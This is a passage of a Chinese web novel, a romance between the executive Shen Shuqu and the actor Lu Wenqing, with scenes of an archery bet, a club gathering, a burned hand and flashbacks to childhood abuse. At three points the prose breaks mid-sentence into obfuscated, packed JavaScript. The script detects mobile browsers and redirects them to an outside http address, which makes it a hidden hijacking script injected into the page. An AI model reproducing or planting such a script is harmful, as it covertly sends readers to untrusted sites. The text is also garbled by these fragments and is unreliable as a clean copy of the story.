赵远抬起头,难堪地皱了两下眉:“他经纪人已经要求我删掉了,我也拘留过了,你还想怎么样?” 沈书渠抬手倒了杯茶放在他面前,语气堪称礼貌:“陆先生是我公司艺人,他的隐私是最高机密,我不希望有任何他家里或者本人任何的资料传出去,所以,现在把你的手机交给我,可以吗?” 赵远对上他的视线,莫名打了个寒噤,有一种被毒蛇舔过后脖颈的危险。 女人一把抢过手机递出来:“手机在这儿,您拿着,只要您不再追究我们什么都听您的,孩子知道错了,以后一定会改的。” 陈昱接过手机。 沈书渠语气凉薄:“稍后我会注销他所有的云端账号,并且以后也不希望看到他账号下出现任何有关陆闻轻的讯息,请二位管教好自己的孩子,如果您力有不逮,我可以代劳,告辞。” 陈昱匆匆放下一张纸钞,男人憋了许久终于忍不住,站起身狠狠一脚踹翻了儿子。 “我养你、养你这么大是让你跑别人家里让人操的吗?你知不知道廉耻,你让人找我说这种东西,我老脸都让你丢尽了,你怎么不去死!” 赵远蜷缩着趴在地上,不停求饶。 陈昱把车窗关上,上大道时忍不住往后看了眼:“沈总,其实您没必要亲自来一趟。” 沈书渠看着窗外,“你觉得我太绝情了吗?” “不是,私生不能纵容,我就是觉得您操心的事情太多太累了,如果陆哥能知道就好了,他一定会很感动的。” “感动了怎么样,来爱我吗?”沈书渠点了支烟,看向窗外难得的好天气,“陈昱,我不敢了。” 陈昱吃了一惊,讷讷说:“沈总……” “你觉得我可怜啊?” “不、不是……”陈昱是觉得他太苛待自己了,但没敢说出口,“陈泽前几天数学竞赛拿了第一名,让我把奖牌送给您。” 沈书渠笑了下:“以后要给我打工啊?” “嗯!” 沈书渠看他一眼,说:“两个死心眼,把你们卖了还会给我数钱。” 陈昱乐颠颠踩油门,一路把人送到了碧林山庄。 每年的跨年晚会都是各大卫视的重头戏,卯足了劲儿争第一,陆闻轻一向不怎么参加,但今年平城卫视的导演闫海是他入圈伯乐。 他给面子去录个开场,闫海打定主意物尽其用又拖着他录了个新年祝福和后台采访,结束都快十一点半了。 顾向平连续打了十二个电话,活像是催命一样问他什么时候结束,场子都快冷了。 上次看完赛车他提前走了,顾向平死活非要再聚一次。 陆闻轻到的时候陈亦洲正好也刚到,最近年底他事儿更多,看样子也是受不了顾向平的疲劳轰炸来的。 “陆老师,打扮这么帅来走秀?” 陆闻轻还带妆,虽然并不重但在这张脸上怎么看怎么隆重,嗤了一声随手把头发拨散,顿时少了几分贵重感。 “见不得别人帅?陈主任。” “不,我们清廉的人民公仆见不得你们有钱人太奢靡。” 碧林山庄最外围是公开接待的宴会厅,走过假山曲廊再往后就是不对外开放的私人会所了。 会所面积比想象中更大,除了普通娱乐设施之外还有小型的收藏展览,随意摆着很多博物馆都未必能见到的珍宝。 各种球室设备齐全,还有一个小型的赛车场和射箭场,既能满足玩乐也能提供商业谈判。 路过射箭场时,里头传来一阵骚动,陆闻轻听见一句熟悉的称呼,不经意瞥了眼。 “比一比啊?” “彩头就是郑少那只纯血狗怎么样?” “沈总,您要是不会的话也不用勉强,只要说一声喝杯酒赔个罪就行了,大家交个朋友也不会为难您。” “不比!谁要跟你们比!”林锦着急地拉过沈书渠的手,蹙眉道:“我们走,不要理这些垃圾。” “垃圾?你真以为林家还要你?你不过是被你妈偷天换日害得人少爷流落街头的野种,我动动手指头也……” “比可以。”沈书渠打断他的话,抽出手走到对方面前,虽然视线齐平但总有一种居高临下的蔑视感。 “我不需要你的纯血狗,换一个彩头,你赢了我任你差遣,但你输了。”话音一落,林锦立即拽住沈书渠的手,“不行!” “不要紧,不会输的。”沈书渠转过头静静看着一帮起哄的太子党,眼皮一抬落在中间的郑业锋脸上:“跪下来舔我的鞋。” “你!” “我闭着眼跟你比。”沈书渠层层加码,走近郑业锋:“如果不敢,给林锦道歉并且以后见到他,绕道。” “闭着眼睛比?你知道郑少是什么人吗?太狂了吧?” 林锦脸吓得煞白,怕沈书渠输也怕结梁子,低声劝他:“别比了,他说两句没事的。” 陈亦洲发觉陆闻轻停下来,偏头看向被簇拥的年轻男人,约莫二十五六岁的模样,看起来很斯文俊秀,敞开的胸口上有小片刺青,看起来很随性。 “你应该不认识,中间那个的爸爸算是你家陆叔政敌,前年查的时候有个案子牵扯到他,差点儿撸下去,不过最后峰回路转还升了一级,高低也算个太子爷了。” “太子爷?”陆闻轻瞥了一眼,嫌恶道:“他也配,一个上不了台面的东西罢了。” 陈亦洲略有疑惑:“你认识?” 陆闻轻点了下头,眼神却是在沈书渠身上,“郑业锋,烽火传媒就是他的,干的全是打压勒索恐吓的龌龊勾当。” 烽火传媒在圈子里名声极臭,管他什么刚出道还是大红的男星女星只要是他看上的无论是坑蒙拐骗都得弄去拍一部戏。 不少人吃过他的亏,就连陆闻轻也收到过他假惺惺的“邀请函”。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118288|163684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈亦洲怔了一怔,“那你家沈总这岂不是跟他结梁子了,按照他这种阴险下作的手段……” “他敢。” 陆闻轻抬手推门,凌晨的射箭场光影明亮。 沈书渠右手勾住领带用力一扯,蒙眼系住,接过弓箭搭弦微微转过身瞄准郑业锋,勾了下唇转身朝向箭靶。 他站在线外,后腰微凹弓弦拉满,利箭破风冲出稳稳点中圆心。 陆闻轻脚步一顿,心上没来由淌过一道细密的电流,不由得在他的侧脸上多留了一瞬。 那张脸冷淡锋利,和第一次见面有着微妙的不同。 初见那晚他撑着伞上台阶,面色冷淡苍白像一株刚淋过雨的白梅,第二次在壁球馆看似单薄其实又很会打,姿态利落,身姿也好看,并不孱弱娇贵。 第三次在碧林山庄挨了打但也委曲求全,浑身上下都有种豪门矜贵少爷的端方得体,再后来就是晚宴那晚的卫生间,口舌锋利,骂人极其难听。 陆闻轻突然发现沈书渠像一只三棱镜,每次见到都是不同位面,到底哪个才是真正的他? 他身上有一种绝对的男性魅力,优雅、强悍,像一头难以驾驭但又引人征伐驯化的猎豹。 两只箭靶取上来的时候郑业锋脸色微变,随即笑了下:“还是沈总厉害,甘拜下风。” “我来巧了?” 沈书渠脊背一僵,倏地回过头,对视时看到他唇角似有若无的笑意,不自觉攥紧了弓。 陆闻轻走近了,先在他脸上仔仔细细检查了一遍。 沈书渠被他盯得有些莫名,微微动了下喉咙,还没说话手上的弓就被人抽走,拎过去走到郑业锋跟前。 “郑总,好久不见啊。” 郑业锋挑了下眉,把弓丢给一旁的人,换了副表情十分熟稔地开口:“陆影帝客气了,我刚才还跟你们沈总聊你明年的拍摄计划呢。” “他管不了,想找我拍戏直接跟我谈。”陆闻轻抬手,用弓点了点他膝盖:“刚才谁赢了?” 郑业锋不尴不尬地笑了下:“哈哈开个玩笑,没想到沈总箭射得这么好,刚才得罪了,我跟你赔罪。” 沈书渠:“你没得罪我。” 郑业锋没想到这人这么难缠,干笑两声,说:“林少爷,刚才多有得罪,别往心里去?” 林锦抿着唇,没搭理他。 陆闻轻把弓往郑业锋怀里一扔,笑道:“既然这样,那我先失陪了?沈总,一起?” 林锦呆愣了好一会才反应过来,跟上沈书渠时忍不住拉了拉他的手斥责:“你怎么那么冲动,万一输了呢?” “不会的。” 林锦还是担心,又往陆闻轻背影看了一眼:“他刚才什么意思啊?我怎么感觉郑业锋好怕他?而且我总觉得他看你的眼神……” “他没别的意思,你别……”沈书渠嗓音一停,只顾着担心林锦说出什么不该说的,却没发现陆闻轻突然停住脚步。 他一头撞上陆闻轻的怀里,陆闻轻右手扶住他的腰,冰凉笑了一声:“怎么?我又不是好人了?” 沈书渠忍了忍,实在没忍住瞪了林锦一眼,死孩子。 “沈总,不是好人打算邀请你去喝一杯,赏脸吗?” 14.墙下春渠(四) 沈书渠先是怔了一下,接着才反应过来陆闻轻的手还在他腰上搁着,下意识往后退了一步。 这几天住酒店,他勉强找回了之前的感觉,理智提醒他是应该维持这种状态,不要破戒。 “时间不早了,我还……” “你要拒绝我吗?”陆闻轻静静看他。 那种专注的眼神竟然让沈书渠品出了几分诡异的“委屈”和被人当面拒绝的丢脸,只是隐藏地很深,不太容易发觉。 如果不是他太了解陆闻轻,一定也不会发现。 沈书渠挣扎半晌,说:“好吧。” 陆闻轻心里莞尔,不动声色转过身:“来吧。” 顾向平正跟齐敬摇色子猜点数,一回头看到沈书渠,差点儿一跟头栽地上。 “我靠!” 沈书渠站在陆闻轻身后稍错的位置,一派清冷禁欲,即便是有那张英俊的脸在前也还是让人一眼就看到他。 他不自觉咽了下唾沫,心突然热了一下,尤其是沈书渠跟他颔首打招呼的时候心里莫名其妙冒出一个念头:他要是跟我笑一下就好了。 “你好,我是陆闻轻的朋友,齐敬。”齐敬过来打招呼。 沈书渠伸手交握:“你好,沈书渠。” 他的自我介绍极短,几乎没有任何头衔后缀。 齐敬有些意外,这还是陆闻轻第一次带他到自己的圈子里来,通常这种行为都代表一种社交允许。 陆家从上世纪开始便是有名的儒商,还曾在战争年代散尽家财抗战救国。 他祖辈从政,从叔伯到姑姑都身居要职,说一句位高权重绝不为过,因此他的身份几乎没人知晓。 现在把人带来,打什么主意呢。 陆闻轻录完晚会过来,胃里空荡荡的,扫了一眼桌上展览一样的酒和各种含酒精量极高的饮料,勉为其难捡了片苹果。 “吃饭了么?”陆闻轻侧头问沈书渠,“怎么跟郑业锋遇上了?他骂林锦你舍不得了?” 林锦的身世不是秘密,认亲时闹得满城风雨,他也没隐瞒。 “林锦是林家保姆的儿子,出生的时候被调换了,保姆带着孩子离开不久就病死了,当时脑子一热也是希望儿子能活得好一点。” 真少爷四处流浪,吃了很多苦,因此林家把这笔账算在了林锦的头上,昔日百般宠爱的父母变成了债权人。 “我再见他的时候回国不久,他撞我车前要自杀,好在是陈昱反应很快没造成意外,不过他自己摔骨折了。” 沈书渠说着,有些好笑:“我的保险赔了他18万,他躺在病床上说要把这笔钱拿去买墓地。” 陆闻轻分手放在扶手上,眸光灼灼但一直没说话。 沈书渠让他看得有些焦灼,忍不住要躲,结果顾向平不知道从哪儿窜出来吓了他一跳。 沈书渠下意识往前磕了一下,唇蹭到了陆闻轻恰好抬起的手上。 “你们聊什么呢?过去玩儿啊!” 顾向平不像齐敬那样七窍玲珑,没心没肺问:“两口子什么悄悄话不能回家讲啊?” 沈书渠遽然起身:“我出去一趟。” 陆闻轻捻了捻手指,蹭去指骨上的湿润,看着满桌酒头疼道:“你能弄点正常的东西吃吗?” 顾向平惊了一瞬:“酒不正常吗?你们男神都是喝露水的?” “说的是饭,算了。”陆闻轻懒得搭理他,抬头往球桌扫了眼。 齐敬跟陈亦洲两人正在比上次封存的残局,林锦坐在一边玩手机,看着也就像个高中生。 “林锦。” 林锦受惊似的抬起头,胆战心惊地瞄着他:“什、什么事啊?” 怎么他长得很吓人吗?陆闻轻有些无语,朝他一抬下颌:“你过来。” 林锦不太想过来,但架不住他的眼神还是不情不愿挪过来,找了个离他很远的位置坐下来。 陆闻轻看他活像一只随时准备挨批的惊弓之鸟,有些好笑:“你这么怕我干什么?沈书渠不在,你怕我弄死你?” “……” 本来不怕的,现在听起来很害怕了。 林锦握着手机,小心翼翼说:“没、没怕啊,我就是不怎么习惯跟陌生人说话,你要问什么啊?先明说,书渠的事情我不会讲的。” “不讲。”陆闻轻拿了一片糖渍柠檬片放进嘴里慢条斯理嚼了两下,嗓音里含着几分阴恻恻的笑意:“是么,我也首先讲明,我不是什么好人,你得罪我不一定有好下场。” 林锦被他威胁,下意识坐直了身子,摆出一副随时准备英勇就义的壮烈表情:“你、你就算、就算打死我我也不会说,你死了这条心吧,你们两个是不可能在一起的!” “哦?” 林锦猛地住口,下意识给了自己一下,死嘴别乱说。 沈书渠浑身上下全是秘密,暴露哪一个他都完蛋,于是打定了主意闷声不吭。 他就不信陆闻轻能狠到来撬他的嘴往里灌辣椒水。 “你喜欢他?”陆闻轻淡淡抬眼,偏头:“但他还有一张结婚证,看来你只能等他离婚了才能在一起了,你胆子不小啊墙角挖到我头上了。” “我怎么可能喜欢书渠!就算离婚我俩也不可能在一起,他喜欢的人又……”林锦被他吓得脸色煞白,骇然反驳到一半猛地捂住嘴。 陆闻轻单手支着头,似笑非笑看着他活像是一个悠闲的审讯官。 林锦被他看得坐立难安,感觉自己就像是一条被架在火上烤的鱼,很快就要死透气了。 “你别问我了,我是不可能说的。” 门被敲响,服务员端着一锅足料的海鲜和几样时令鲜蔬进来,半蹲在陆闻轻跟前盛了一碗放在桌上:“陆先生请用。” 陆闻轻摆手示意他下去,侧头扫了眼顾向平,这二缺终于听得懂人类语言了? 这帮人聚会是不吃饭的,但闻着鲜香的海鲜粥和清炒的碧绿青菜与嫩白藕尖纷纷胃口大开。 “陆闻轻你什么时候叫的餐,这么香给我也弄饿了。”顾向平丢下骰子,跑过来叫住要出门的服务员:“哎怎么就一只碗?再拿几个来,怎么这么不懂事呢,这服务越来越差了。” 陆闻轻随便拨了两下粥,丢下勺子抬脚踢了一下顾向平的小腿骨,“想吃自己叫。” “一碗粥什么好东西啊?学得这么抠门儿。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123302|163684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆闻轻平时不怎么喜欢吃水果,但进门吃了两片苹果,沈书渠猜测他是空腹来的,借口出门抽烟让人送了一份海鲜粥过来。 他在露台抽了根烟,看着远处灯火明亮不由得出神。 “小书?” 沈书渠猝不及防听见一个久违的嗓音,烟头瞬间掉在了手上。 他回过头,徐司墨站在两步远的地方,驼色羊绒大衣配白色高领毛衣,整个人看起来温柔而清雅。 “我刚才看到你,我还以为是认错人,没想到真的是你。”徐司墨轻轻弯了下眉角,声音轻得像是怕惊动蝴蝶一样。 沈书渠捡起烟头扔进垃圾桶。 徐司墨走上前来,面色有些许隐忍:“你就这么不想看到我吗?连跟我说一个字都不愿意吗?” “你想让我跟你说什么?谢谢?” 沈书渠站在露台边缘,风吹过他笔挺合衬的西装与头发,没有掀起一丝弧度。 徐司墨发现他和少年时变了很多,已经完全看不出青涩稚弱。 作为学校里为数不多的东方人,沈书渠一进学校就引起他的注意,虽然总是很沉默但实在很漂亮,像浓墨重彩油画中的一块青金石。 他花了很长时间才跟他说上话,发现他其实和外表的孤僻不一样,他温柔善良,笑起来很好看。 “我没有别的意思,只是想看你过得好不好,我知道你很恨我,我也没想到事情会变成那样。” “你想说什么?” 徐司墨听他这个冷淡的嗓音,喉头莫名哽了一下,“小书,已经过去这么久了,你……” “多久?五年?1867天,很久吗?” 徐司墨怔怔看了他一会,皱眉说:“你就这么爱他吗?哪怕他已经完全不记得你了你也要这样没名没分地留在他身边吗?那件事不是你的错,完全就是意外!” 沈书渠眸子微微动了下,徐司墨走到他面前,用力握着他的肩膀说:“你就不能……” 陆闻轻出来透口气,远远瞥见沈书渠跟人说话。 对方很激动地抓着他的手臂,声音大得连他都听得见。 他没有听墙角的癖好,换方向的时候恰巧听见沈书渠说:“是,我是爱他。” 他一怔,转身看过去。 沈书渠侧身站在露台,夜色中的嗓音隐忍坚定:“哪怕没名没分我也愿意,听明白了吗?” 徐司墨踉跄一步,深吸了口气:“你这样做有意义吗?” 沈书渠没想过意义,只要陆闻轻平安就够了,这就是全部意义。 “沈总,一口气要透这么久?” 一道低沉嗓音陡然插进来,沈书渠回过头,陆闻轻不知道在那里站了多久,面上似乎有些不悦。 徐司墨听见声音也转过头,对上对方面容的一刻惊愕地瞪大眼,只一瞬又恢复如常。 陆闻轻注意到他一闪而逝的震惊,在他微微皱眉的表情里缓慢走近,瞥了一眼,然后看向沈书渠。 “躲这儿抽烟?” 沈书渠反射性把手往身后藏了下,也不知道为什么要这么做,但不小心碰到了烫伤本能抽了口气。 “手怎么了?” 15.墙下春渠(五) “没什么,你怎么出来了?”沈书渠捻了下手指,侧身挡住徐司墨。 那一瞬间的紧张简直在陆闻轻心里搓了把火,他这么害怕干什么? 两人之间只是协议结婚,喜欢谁还用藏着掖着? “透口气。”陆闻轻视线越过他看了眼徐司墨,淡淡道:“朋友?” “你好,你是陆闻轻吧?我在电视上见过你,我是徐……” “没有那个必要。”沈书渠打断他的话,发觉太过冷硬又补充了句:“他不是圈里人,你们不会有交集。” 徐司墨见他态度决绝,勉强笑笑:“我朋友来找我了,我先失陪,小书,改天有机会我再找你。” 沈书渠“嗯”了声,等他走后调整表情自然地走到陆闻轻面前:“回去吧,外面冷。” 错身时,陆闻轻说:“手拿出来。” “我没事。”沈书渠态度很好,但行动上完全不配合。 “我说,手拿出来。”陆闻轻侧头看着他,神色甚至称得上温和:“你想要我说第三次,还是自己动手检查。” 对峙几秒,沈书渠知道他说一不二,只好伸出右手。 烟头烫过的皮肤灼红肿胀,细小的水泡在冷白的手背上触目惊心。 “我不碍事,只是烫一下而已,你……”沈书渠话音一停,怔怔看向被握住的手腕。 陆闻轻把人带回去,指了指沙发,“去坐着。” 沈书渠愣愣坐下来,看着被他牵过的手,心里产生很想吻一下的念头。 陆闻轻旋开药膏,给他消完毒用棉签挑了一点药,听见吸气抬头看了眼:“疼?” “还好。” “疼就说。”陆闻轻没伺候过人,动作不免重一点但一直没听见沈书渠喊疼,哪怕眼睛泛红也没动弹一下。 “怎么受伤的?” “不小心,其实……没有多疼,只是看起来比较难看。” 沈书渠受伤的次数多,这种程度对他来说几乎微乎其微。 他从有记忆开始就知道沈正兴是那个家里的“帝王”,他不高兴了所有人都是要受罚的,至于他什么时候不高兴这很难判断。 沈家像一个小型的皇宫,奴才们为了讨好皇帝会加倍虐待他不喜欢的人,轻则断水断粮,重则要去跪在院子里反省。 院子造景由大师设计,铺设的石子被切得很碎,跪在上面不会因为疼得太过就麻木没有知觉。 它更像一个个细细的针,能持续供应伤害,大师一定没想到他的作品还有这种作用。 温若桥没死之前他受罚的次数不太多,沈正兴主要拿他来调教温若桥,不许她见任何人,要求她伺候自己,一旦让他不快就要跪着抄家法并且双手捧着念出来。 如果她不从,他们俩就会一起受罚。 后来温若桥出车祸死了,沈书渠慢慢长大而那张脸也长得越来越像她,那些驯化手段便落在了他的头上。 沈正兴驯化温若桥是亲力亲为,从不假手于人,对沈书渠就没那么上心了,可以交给余欣,也可以借沈安或者佣人的手。 沈书渠低头看着伤口,他有比较严重的嗜痛,这会让他觉得勉强配活着。 十一岁那年,温若桥精神状态已经不怎么好了,整个人苍白得像一张白纸。 沈正兴一直想要垄断行业,行程明确要去外省开一个座谈商会,为期十天。 沈书渠找到机会支开佣人,撕碎床单带着温若桥一起逃离了那个囚笼,匆忙之中没看到疾驶而来的车。 温若桥用满是血迹的手摸摸他的脸,给他留下的最后一句话是:“对不起啊,宝宝,带你来到这个世界。” 那时候她其实已经不怎么能说话了,一张口血就从嘴里不断喷涌,但她不断吞咽着喉咙,断断续续撑完到说完。 温若桥太爱他了,但沈书渠想,真正对不起她的人是自己。 沈书渠跪在她身边不断道歉,但她已经听不见了。 沈正兴回来的很快,一脚将他踹到胃出血但也没花时间住院,跪在灵堂里也可以吊水。 沈正兴事业如日中天,来吊唁的人很多。 沈书渠挨个儿磕头致谢,宾客们夸他懂事孝顺,带病也要为妈妈守灵。 灵堂的夜晚很冷,他一个人在那里面对温若桥的尸体跪了三天,下葬当天,沈正兴没有让他这个罪魁祸首去。 其实余欣进门也是有好处的,在她的枕边风吹拂之下沈正兴终于不想看到这张肖似温若桥的脸,把他送去了国外。 家里安排了三个华裔保镖,负责监视除了学校之外的任何行动。 陆闻轻是一个意外,也像一个破空而来,带着火焰的利箭,把他的世界烧得一片明亮。 他霸道强势又温柔耐心,哪怕被冷待也从不生气,三天两头来学校逗他几句。 那段时间他既讨厌,但又期待陆闻轻出现。 有一次学校组织夏令营,路上车抛锚了。 陆闻轻经过帮忙修了车,走之前看到坐在后排的他,顺手抛给他一样东西,接住了才发现是一小袋荔枝。 荔枝被冻过,很凉很甜,他没舍得吃完,留了一半到晚上。 其实晚上已经不怎么好吃了,果肉从透明变得泛白有很重的甜腻味儿,他正剥皮,听见窗户响了一声。 他推开窗户往下看,陆闻轻就靠在车前,灯光将他一双腿拉得很长。 四野星光漫漫虫鸣咕啾,歪着头的一张脸懒散肆意,带着夏日潮湿的风。 “下来。” 沈书渠关上窗户,继续低头剥自己的荔枝。 隔了半个小时,他换掉拖鞋跑下楼。 陆闻轻仿佛知道他一定会下来,就靠在那儿等他走近了笑吟吟往他脑袋上敲了一下:“还得让人等这么久,刁蛮。” 沈书渠穿着睡衣,唇上还有一点未干透的荔枝水,声音在夏夜里温凉柔软:“你来干嘛?” “诱拐少年离家出走。”陆闻轻打开副驾车门,莞尔轻笑:“把你卖去给人当媳妇儿,敢不敢?” 沈书渠坐上去,陆闻轻关上车门进来,一倾身吓了他一跳,下意识闭眼别过头。 “干什么?以为我要亲你?”陆闻轻在他鼻尖蹭了一下,捋过安全带啪嗒一声扣上,“思想怎么这么坏呢,跟外国人学坏了?” 沈书渠耳朵发热,小声反驳:“我没有。” “真没有?”陆闻轻侧过身,右手放在这一侧的车门上缓缓低下头压近,鼻尖几乎相抵。 “那你脸红什么?” 车里的空气好像一瞬间被抽空了,沈书渠有些窒闷地伸手按住他肩膀。 “陆闻轻。” 近在咫尺的一双眼睛又亮又湿,像一只金贵漂亮的布偶猫。 陆闻轻让这句软绵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128507|163684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绵的嗓音叫得心痒,本来没想亲,但现在他想把人按在车里欺负透了再放下去。 “坐好了。” 陆闻轻话音一落,引擎轰鸣,车像利箭一样窜了出去。 沈书渠下意识拉紧扶手,心脏几乎从嘴里跳出来,车顶棚缓缓收起,夜色卷着风灌满睡衣。 空无一人的道路上只有他的一辆车,明亮的远光灯如一束炽热的灯火,照亮前方未知的旅途。 陆闻轻开车时很放松,将近180迈的速度依然漫不经心。 夜色下他的侧脸深邃英俊,带着毫不掩饰的狂妄。 他一定很自由,沈书渠想。 他大概是天塌在面前也可以伸手撑住,然后桀骜不驯地说一声有本事砸死我的那种人。 “再看收钱了。” 沈书渠回过神,耳朵再次红了一点,别过头不再看他。 “逗你呢,怎么这么笨。”陆闻轻降下车速到六十迈,空出一只手从后面拿了一个纸盒子,丢在他腿上。 “拆开看看爱不爱吃。” 纸盒子是粉紫色,下面围了一圈很漂亮的绿绒蒿,草绿色的系带打成蝴蝶结,一看就很贵。 “这个很贵吗?” 陆闻轻侧头笑了下,伸手帮他拉开蝴蝶结的结扣,“不贵能买给你吃么?只管吃你的,喜欢就值。” 沈书渠打开盒子,一股淡淡的冷雾扑上来。 一杯做工精巧漂亮的冰淇淋,上面点缀了青提蓝莓和碎冰,底下围了一圈不断冒冷气的干冰。 “不喜欢?”陆闻轻看他盯着盒子不动,随手拨了下盒子:“打算用眼睛给它裱花呢?尝一口,不好吃下次换别的。” 沈书渠撕开勺子包装,挖了一点放进嘴里。 冰淇淋入口清爽,新鲜水果和碎冰恰到好处,有一瞬间沈书渠在想,世界上竟然还有那么好吃的东西。 他胃口不大,胃也不怎么好,只吃了三口就不敢吃了。 “不好吃?” 沈书渠捧着杯子摇摇头:“好吃,怕肚子疼。” “那不吃了,想吃下次再买。”陆闻轻侧头看他,顺手帮他唇角的奶油蹭掉,“怎么乖成这样啊。” 沈书渠将冰淇淋打包放好,陆闻轻怕他冷便将顶棚收回来,顺手从一边掏了颗糖出来:“伸手。” “干什么?”沈书渠不明所以,但还是摊开掌心。 “我们幼儿园里听话的小朋友要收到奖励,排排坐,分果果。” 陆闻轻用糖果在他掌心里不轻不重地划了一道,“分给乖宝宝的糖果。” “我不是什么乖宝宝。”沈书渠倏地收回手,糖掉到了脚底。 “不乖也行,不乖也有糖吃,咱们幼儿园没那么多规矩。” 沈书渠抿了抿唇,闷头去脚底找糖果 陆闻轻托着他额头带回来,“掉了就不要了,领新的。” 沈书渠看了他一会,伸出掌心。 陆闻轻笑了下,又摸了一颗糖放在他掌心里。 沈书渠慢吞吞剥糖纸,奇怪他怎么每次都有这么多糖,“你真的开幼儿园啊?” “嗯,刚开的。” 沈书渠咬着糖,过了好半天才反应过来,顺着他的话问:“哦,那你幼儿园里有几个学生啊?每个人都有糖领吗?” “嗯,目前就一个,一对一教学,多了教不过来。” 16.墙下春渠(六) “最近几天别碰水,明天早上换药。” 沈书渠像是没回过神来,呆呆看着纱布包扎过的手掌,一双眼里全是茫然与眷恋。 仔细看的话,那里头的爱意足以把人溺毙,但不等人看明白又掩饰得一干二净。 陆闻轻想起那句坚定而压抑的‘是,我是爱他,即便没名没分’有些纳闷。 他爱的人是谁? 不会是林锦,他对这缺心眼儿像是养孩子,应该也不是门口那个。 陆闻轻在心里分析了一阵子,没找到答案便没多想,他现在爱谁都不要紧,人跑不了。 沈书渠一直在发呆,看起来莫名有一点乖。 陆闻轻丢掉棉签,伸手往他额头上摸了一下,沈书渠反应很大,像是吓了一跳般哑声说:“你干什么?” “没什么,热就把西装脱了,这儿没人要跟你开会听你训话。” 房间温度调得很高,陆闻轻脱了外套,只穿了件黑色衬衣。 这衣服是晚会服装,从领口几乎开到小腹的设计露出大片胸膛。 几根银色链条纵横,随着动作微扫过胸口,隐隐约约可以看到块垒分明的肌肉线条。 沈书渠嗓子发干,心里烧起一把火,无法抑制地冒出想要被他压在沙发上的念头。 被包扎过的伤口里藏了一只霪态毕露的蛊虫,顺着指骨到皮肤再到心脏,不断唆使他冲破界限。 沈书渠别过头,又落在他骨节修长的手上,脑子里突然蹦出林锦那句“让他抠死你行不行”。 他的话虽然糙,也不怎么能入耳,但…… 是抠过的。 沈书渠情窦初开是在他的车里,既受不了心理也受不了生理冲击,趴在他肩头用哽咽的嗓子软绵绵求他停一停。 陆闻轻手臂松松揽着,一边吻掉他眼泪一边贴着耳朵哄他:“嗯?停什么?嗯……吃不完了?” 想到这里,沈书渠眼睛遽然缩了下,不断警告自己不能再想下去了,否则他的瘾真的会犯。 沈书渠动了动喉咙,说:“时候不早了,我……” “你们俩说什么悄悄话呢?聊完没啊?聊完了来打球行不行?” 顾向平吃饱喝足,拎着球杆跟陈亦洲比了一局,被清廉为本的陈主任杀的毛都不剩。 “你等着,我找个帮手虐你。” 顾向平喊了两声没人搭理,直接连名带姓喊他:“陆闻轻。” “招魂?” “那您老能不能冒一下青烟,过来救救我?” “不能。” “怕输吧你。” “我?怕输?”陆闻轻远远看他一眼,往椅背上靠了一下,“你没睡醒?” 顾向平哗啦一下拨过积分牌,“我们这儿积分第一的是那个嘴上清廉为民廉洁奉公其实私下玩的贼花的陈主任。” 陈亦洲用球杆在他膝盖上打了一下:“我什么时候玩的贼花,打球好也犯法?” 顾向平往边上跳了下,专注撺掇:“陆影帝,你甘心当第二吗?”说着捞过一个白瓷茶杯和一瓶未拆封的酒,“前几天在拍卖会刚拍的,赢了归你,输了的喝完这一整瓶,认输也是输。” “彩头不错,不过我没兴趣比。”陆闻轻像是准备要认输,勾勾手指:“酒拿来。” 顾向平恨恨把球杆摔在台上,“陆闻轻,我对你很失望,我要告诉你粉丝你根本不是什么无所不能的Daddy,你是……” “我能试试吗?”沈书渠突然出声。 房间里静了一瞬,数道眼神齐齐落在他身上。 “你?你会吗?”顾向平没反应过来自己刚刚听到了什么,他比?他这双手只能拿钢笔吧? 沈书渠坐在沙发上,像是圆桌会议上的平静提问:“陈主任,我能跟你比一比吗?” 陈亦洲兴味盎然地看向陆闻轻:“荣幸之至,不过……” 沈书渠顺着他的视线偏头,陆闻轻正盯着他的手,“我给你抹的是消炎药,不是仙丹。” “一点烫伤不要紧,我很久没打过了,借机会跟陈主任切磋一次。” 他不希望陆闻轻输,而且他好像很喜欢那只白瓷杯,他要赢过来。 林锦一直在旁边当鹌鹑,从陆闻轻领着沈书渠进来就没吭声也没敢凑近。 沈书渠一开口,他立刻掏出手机。 ——陆闻轻把你手怎么了?我就说他不是好东西吧! ——你比这个干嘛? ——他喜欢喝酒就让他喝好啦,你那么心疼他干嘛,心疼男人会倒霉的你懂不懂啊? ——他用春药给你包的手吗?沈书渠,你清醒一点。 “好啊,沈总请。”陈亦洲说。 沈书渠脱掉西装外套放在沙发上,起身走近球桌拿起顾向平的球杆:“借我用一下可以吗?” 他声音虽冷但疏离中又带了一股微妙的欲罢不能,顾向平咂摸了一下,只觉得心脏刮过一阵酥麻。 